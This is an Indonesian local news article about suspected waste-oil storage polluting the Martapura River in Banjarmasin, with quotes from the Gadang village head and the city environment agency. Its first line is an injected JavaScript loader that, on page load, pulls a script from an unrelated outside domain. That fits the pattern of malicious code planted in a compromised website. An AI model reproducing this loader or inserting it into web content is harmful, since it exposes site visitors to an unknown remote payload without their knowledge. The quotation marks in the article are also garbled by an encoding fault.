(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Dugaan pencemaran Sungai Martapura rupanya telah mendapat sorotan langsung dari Kelurahan Gadang di mana lokasi diduga tempat penyimpanan oli ini berada.
Lurah Gadang Askar mengatakan, tempat penyimpanan oli ini merupakan sebuah tempat tinggal yang mana diduga pada bagian belakang rumahnya digunakan untuk menyimpan oli.
“Informasi yang didapat memang mereka menimbun minyak, tapi ada juga laporan warga yang menyebut mereka menjual drum bekas,†kata Askar, Kamis (9/1) siang.
Menurut Askar, keberadaan tempat ini sudah lama dan telag beberapa kali ditegur. “Dan kenyataannya setelah beberapa waktu berjalan, kembali beraktivitas lagu karena olinya mengalir, sehingga masyarakat jadi resah,†paparnya.
“Pertama kemarin teguran saya dari kelurahan bersama Bhabinkamtibmas dan Camat Banjarmasin Tengah. Sekalian sudah beberapa kali tegur dan ini terkeras karena berbagai pihak sudah turun tangan termasuk Polda Kalsel yang memberikan teguran,†jelasnya.
Baca: Diduga Cemari Sungai, DLH Banjarmasin Sidak Tempat Penampungan Oli
Menurut Askar, pihaknya tidak mengetahui persis penghuni rumah ini, lantaran keberadaannya yang tertutup.
“Karena ada laporan masyarakat soal temuan dari petugas baik kepolisian instansi terkait, saya turut ikut walau saya pernah menegurnya, karena masyaallah juga melapor,†tandas Askar.
Diketahui, Kelurahan Gadang sudah lebih 3 kali memberikan teguran kepada penghuni rumah tersebut. Namun teguran itu tidak diindahkan, hingga membuat gerah Dinas Lingkungan Hidup (DLH) Kota Banjarmasin.
Sebelumnya diberitakan DLH Banjarmasin mendapati dugaan pencemaran lingkungan di
Sungai Martapura yang berdekatan dengan dermaga Siring Tendean Banjarmasin.
Dari pantauan Kanalkalimantan.com, sisa-sisa oli masih larut di bibir sungai.
Bahkan, sisa oli juga sempat menempel di lanting kayu dekat siring. Diduga, oli yang menempel ini terjadi saat air sungai tengah pasang.
“Laporan masuk hari Sabtu sore dari masyarakat, bahwa di siring ada rembesan oli masuk ke sungai. Itu ketahuannya saat pasang naik ke lanting, nah saat surut lanting jadi licin. Ternyata ada ceceran oli,†kata Kadis LH Kota Banjarmasin Mukhyar, Kamis (9/1) siang.
Dari pantauan Kanalkalimantan.com, diduga ceceran oli berasal dari sebuah tempat yang tertutup keberadaannya. Bahkan, tim DLH Kota Banjarmasin tidak bisa masuk ke lokasi, lantaran telah diberi garis polisi. Informasi yang didapat, kasus ini tengah ditangani oleh Polda Kalsel. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.